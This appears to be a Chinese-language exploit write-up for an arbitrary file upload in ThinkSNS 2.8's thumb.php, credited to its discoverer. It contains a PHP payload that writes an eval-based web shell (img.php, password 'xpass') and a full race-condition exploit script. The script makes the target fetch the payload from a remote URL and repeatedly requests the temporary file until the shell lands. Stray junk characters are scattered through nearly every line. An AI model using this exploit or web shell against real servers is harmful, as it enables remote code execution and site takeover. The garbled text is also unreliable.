漏洞版本8 S7 U& s: Y8 J& `# p5 E: q0 l8 i
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)4 F4 _" ~5 d3 |" p
漏洞文件
, M) ^- w1 S' w存在漏洞的文件为:thumb.php' i( L( L+ m Z |
作者:韦鲲鹏# Z$ O# r3 f/ R2 E. R
1、 准备如下PHP文件并上传到服务器(自己的)。6 m4 F* g6 q3 r ?2 [
文件内容如下:' N4 Z/ f. c; \
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 ?- w# g: e& |* p5 \8 u2、 计算出临时的文件名:
* c1 I' i) I: C! ? [0 C; j' C' _7 X这里我们可以看文件的99行(刚刚是不是没注意呀!)。) l6 L2 k! t o2 D' A1 H
! n* d7 e0 S$ y
3、 上传临时文件。4 Z( Q; q. A7 A9 L+ ^ @0 q
4、 访问临时文件。
, j7 G. [/ n. d但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)( |' v+ J; y; Z. T* P
Exploit文件内容如下:(这个我就不详细解释了)
& J6 P9 Q9 Y1 {' t( p<?php
& u# m/ a# P+ W' serror_reporting(0);
t2 D+ z. e. P! n% Eset_time_limit(0);7 l; ~' ]0 h2 G. \- l; j. V, K+ Z
ini_set(“default_socket_timeout”, 5);
9 o' b8 V6 W8 C' b$ w) dfunction http_send($host, $port, $headers) {& w" x7 @4 k. p* P. W: U( i' A
$fp = fsockopen($host, $port);9 q3 ~5 N: r( _5 W0 X
if (!$fp) die(‘Connection -> fail’);
7 J# G, K' ?& K! i# a; ~fputs($fp, $headers);
( ~! u5 z/ J- o; f2 ]return $fp;
9 u U5 _* A. n}
, N" d$ e, n) Z+ q" o! Mfunction http_recv($fp) {! @/ c" M4 l) L8 d! n, p+ q+ ^- a
$ret=”";
+ P0 Q: y6 m3 j+ i3 j3 E8 bwhile (!feof($fp))
/ @" ~+ e" R+ D% e+ v3 i! L! @$ret.= fgets($fp, 1024);
1 Z4 W4 S- s* C* N5 B- a+ {fclose($fp);; Q: m8 ^5 `- [7 N9 l% E5 D: w
return $ret;
0 ?5 D3 ~# G" T6 ?, D: k}& A" |+ S( c4 P$ Z8 d
print “\n# ThinkSns Arbitrary File Upload #\n”;
/ V: [+ v2 w. p( Zprint “# Discovered by 韦鲲鹏 #\n\n”;
) c$ _5 H- n! x. u6 C) A* Dif ($argc < 4) {
4 i8 P! B3 t' J. c7 G; zprint “Usage: php <host> <path> <romote_url>\n”;) }* ]8 ~7 V1 I. B
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; B& V' |3 o4 O+ ]3 Ldie();, ] h5 Y$ N5 T) O
}& K. E' A2 J. g: y+ B3 c- b( g
$host = $argv[1]; j% c- Q0 _% l9 {3 ?
$path = $argv[2];
9 d2 r7 @9 F+ A# n8 v! M9 `1 `$url = $argv[3];( e' h, m. K" E+ x
$i=0;% q0 ^6 O9 @* Z$ d
//上传数据包
: e/ s$ L' x9 v9 e$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;& d6 V& |* I9 O" J0 O) h# n! v; _
$headers_up .= “Host: “.$host.”\r\n”;$ a. K7 e4 M, [- a$ B& S
$headers_up .= “Connection: close\r\n\r\n”;' [3 u7 Y8 S$ n- ^8 F
echo $headers_up;
$ o4 V2 a k, M5 d8 G+ i4 o/ P//临时文件访问数据包6 g: }# F$ g: S# m- F1 e1 ~$ K8 \
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;3 S0 y; V9 D1 m/ J+ a( O- F
$headers .= “Host: “.$host.”\r\n”;, N) _$ K: [/ F1 w
$headers .= “Connection: close\r\n\r\n”;0 t2 X1 F {% `
echo $headers;% I2 K/ \0 g: c9 g' @
while(++$i<10) {
9 |% t3 u5 n1 p8 ?- ffclose(http_send($host, 80, $headers));, w# |# z5 M. W7 W2 i) u8 W. b
}* e( ^ q+ T- D
fclose(http_send($host, 80, $headers_up));$ w4 ~5 ~+ _- e' M* n
while(++$i<50) {
6 u8 D/ j. ?7 x' nfclose(http_send($host, 80, $headers));
# `& V* W9 X+ z; K( f& M9 x, S}' i) o, _) @: _1 k
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) H: ]% B) i8 m- l9 m$headers .= “Host: “.$host.”\r\n”;2 R, O q2 `% K9 L# I
$headers .= “Connection: close\r\n\r\n”; j0 O$ o. t y
$res=http_recv(http_send($host, 80, $headers));# p) V7 Z: k) M8 v) u" G% p$ E, K
if(preg_match(‘/200 OK/’,$res)) {
7 s5 [( w2 n. s4 V" Iprint “Success!\n\n”;" F% t: D/ N3 f2 Q3 c* c
} else {! s q- Q/ W8 u" Z
print “Fail!\n\n”;( A. `; v4 H2 r- Y: _
}
5 h6 C4 F; d3 f3 I?>
! p1 Z/ U: L. w |